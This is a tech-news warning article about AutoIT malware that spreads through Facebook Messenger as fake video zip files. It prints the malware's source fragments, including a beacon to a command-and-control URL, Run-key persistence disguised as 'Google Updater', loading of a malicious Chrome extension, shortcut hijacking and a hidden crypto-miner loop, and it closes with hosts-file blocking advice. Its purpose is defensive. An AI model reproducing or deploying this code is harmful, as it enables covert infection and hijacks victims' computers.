Warning: The new Facebook virus, a malicious code that is spreading rapidly through Messenger

From yesterday (December 18, 2017), a new type of malicious code has appeared and raged in Vietnam. This malicious code is not too sophisticated but is spreading very fast through Facebook Messenger because it is sent from the friends in the friend list.

From yesterday (December 18, 2017), a new type of malicious code has appeared and raged in Vietnam. This malicious code is not too sophisticated but is spreading very fast through Facebook Messenger because it is sent from the friends in the friend list.

1. How to remove the code as a video format on Facebook Messenger
2. How to fix when Facebook is infected with virus

This new malicious code spreads by automatically sending a zip file inside containing a disguised video file via Facebook Messenger with the name 'video_' + 4 random numbers.

According to a malware analyst, this new type of malicious code is written in AutoIT language with the main functions being tampered with:

```
Func udmchs()
    RegWrite(ysidir("[gU=&Hz-3h*/x&UzRx?"), ysidir("yKM3*99xR"), ysidir(" LIWHp"), ysidir("FxM"))
    sraokqwzxx()
EndFunc

Func sraokqwzxx()
    $qyxkb = ObjCreate(ysidir("h_K833.sh_K833./xc#xM3s1sj"))
    $qyxkb.open(ysidir("IL]"), ysidir("833.:ZZzNzr#sC_G_8sC_RZ*._Z?8x//vZ9zG_Ks.8."), False)
    $qyxkb.setrequestheader(ysidir("=Mx/qnGxK3"), ysidir("(_Rxz1wzhK9z*Rx/"))
    $qyxkb.setrequestheader(ysidir("A_KRzh"), $oiapiyjjuaul)
    $qyxkb.setrequestheader(ysidir("H?/_.3d*Vx"), @ScriptName)
    $qyxkb.setrequestheader(ysidir("bH"), @OSVersion)
    $qyxkb.setrequestheader(ysidir("yKM3*99xR"), $falnezjiamn)
    $qyxkb.send()
    If $qyxkb.status <> 200 Then Exit
    ohivjrkh()
EndFunc

Func ohivjrkh()
    DirCreate($bbawubwsjsq)
    vinccy()
```

How the code works

When entering the computer, the malicious code will retrieve and send information to the computer to the **hxxp://ojoku.bigih.bid/api/cherry/login.php address.**

```
Func sraokqwzxx()
    $qyxkb = ObjCreate("winhttp.winhttprequest.5.1")
    $qyxkb.open("GET", "http://ojoku.bigih.bid/api/cherry/login.php", False)
    $qyxkb.setrequestheader("User-Agent", "Video Downloader")
    $qyxkb.setrequestheader("Window", $oiapiyjjuaul)
    $qyxkb.setrequestheader("ScriptName", @ScriptName)
    $qyxkb.setrequestheader("OS", @OSVersion)
    $qyxkb.setrequestheader("Installed", $falnezjiamn)
    $qyxkb.send()
    If $qyxkb.status <> 200 Then Exit
    ohivjrkh()
EndFunc
```

The malicious code then downloads and installs a malicious extension to the user's browser. This extension continues to spread the malicious files in video format to friends on the Facebook of the infected person. Then, this malicious code loads the other extension into folders such as desktop, taskbar, program . by writing the chrome shortcut file.

```
Func vzsxjlyvyc()
    RegWrite("HKCU\Software\Microsoft\Windows\CurrentVersion\Run", "Google Updater", "REG_SZ", $bbawubwsjsq & "\" & "cherry.exe")
    hbccavbj()
EndFunc

Func hbccavbj()
    ShellExecute("chrome.exe", "--enable-automation --disable-infobars --load-extension=" & $bbawubwsjsq, "", "", @SW_MAXIMIZE)
    ewcirtgbah()
    chyerd()
EndFunc

Func ewcirtgbah()
    Local $thnhe[5] = [@AppDataDir & "\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar", @DesktopDir, @AppDataCommonDir &
"\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar", @ProgramsCommonDir, @DesktopCommonDir]
    For $jfshbzvwdqis = 0 To 5 - 1
        uahyc($thnhe[$jfshbzvwdqis])
    Next
EndFunc

Func uahyc($rwyum)
    Local $atsltqbdec = _filelisttoarray($rwyum, "*.lnk")
    If @error = 0 Then
        For $jfshbzvwdqis = 0 To UBound($atsltqbdec, $ubound_rows) - 1
            grtuntxxhvum($rwyum & "\" & $atsltqbdec[$jfshbzvwdqis])
        Next
    EndIf
```

Finally, the malicious code will restart chrome for the extension to work and spread another type of malicious code used to dig the crypto currency as 'coin minner'. This is why your device is always in a state of lag without understanding why.

```
Func chyerd()
    While 1
        If FileExists($bbawubwsjsq & "\" & "worker.exe") AND FileExists($bbawubwsjsq & "\" & "config.json") Then
            If NOT ProcessExists("worker.exe") Then
                Run($bbawubwsjsq & "\" & "worker.exe", NULL , @SW_HIDE)
            EndIf
        EndIf
        Sleep(5000)
    WEnd
EndFunc
```

How to prevent this new malicious code?

If you receive such a file, and have missed the click, download, don't worry too much, the dynamic code hasn't spread to your computer. Because this new malware is only really spread if you open the file.

To prevent this malicious code from spreading on your computer if you accidentally click open the file, open the hosts file and add the following lines:

127.0.0.1 ojoku.bigih.bid

127.0.0.1 plugin.ojoku.bigih.bid

This measure is only temporary. Attackers can easily distribute malicious code other than other domains. Therefore, to avoid this new malicious code, you should not open strange files from Facebook Messenger. Also, use antivirus software to make sure your computer is safe.

See more:

1. The new DNS service Quad9 helps block malicious domains
2. Detect and prevent Ransomware with CyberSight RansomStopper

You finished reading the article "**Warning: The new Facebook virus, a malicious code that is spreading rapidly through Messenger**" edited by the **TipsMake** team. We hope this article has provided you with many

useful tech tips and tricks. You can search for similar articles on tips and guides. Thank you for reading and for following us regularly.